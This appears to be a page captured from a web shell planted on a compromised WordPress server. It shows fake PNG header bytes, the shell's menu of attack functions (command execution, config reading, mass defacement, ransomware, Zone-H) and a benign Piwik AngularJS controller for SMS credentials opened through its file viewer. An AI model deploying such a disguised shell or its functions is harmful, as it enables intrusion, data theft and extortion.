\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/plugins/MobileMessaging/angularjs/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/plugins/MobileMessaging/angularjs/manage-sms-provider.controller.js |
/*!
* Piwik - free/libre analytics platform
*
* @link http://piwik.org
* @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
*/
(function () {
angular.module('piwikApp').controller('ManageSmsProviderController', ManageSmsProviderController);
ManageSmsProviderController.$inject = ['piwikApi', 'piwik'];
function ManageSmsProviderController(piwikApi, piwik) {
var self = this;
this.isDeletingAccount = false;
this.isUpdatingAccount = false;
this.showAccountForm = false;
this.isUpdateAccountPossible = false;
this.credentials = '{}';
function deleteApiAccount() {
self.isDeletingAccount = true;
piwikApi.fetch(
{method: 'MobileMessaging.deleteSMSAPICredential'},
{placeat: '#ajaxErrorManageSmsProviderSettings'}
).then(function () {
self.isDeletingAccount = false;
piwik.helper.redirect();
}, function () {
self.isDeletingAccount = false;
});
}
this.showUpdateAccount = function () {
this.showAccountForm = true;
};
this.isUpdateAccountPossible = function () {
var self = this;
self.canBeUpdated = !!this.smsProvider;
var credentials = angular.fromJson(this.credentials);
angular.forEach(credentials, function(value, key) {
if (value == '') {
self.canBeUpdated = false;
}
});
return self.canBeUpdated;
};
this.updateAccount = function () {
if (this.isUpdateAccountPossible()) {
this.isUpdatingAccount = true;
piwikApi.post(
{method: 'MobileMessaging.setSMSAPICredential'},
{provider: this.smsProvider, credentials: angular.fromJson(this.credentials)},
{placeat: '#ajaxErrorManageSmsProviderSettings'}
).then(function () {
self.isUpdatingAccount = false;
piwik.helper.redirect();
}, function () {
self.isUpdatingAccount = false;
});
}
};
this.deleteAccount = function () {
piwikHelper.modalConfirm('#confirmDeleteAccount', {yes: deleteApiAccount});
};
}
})();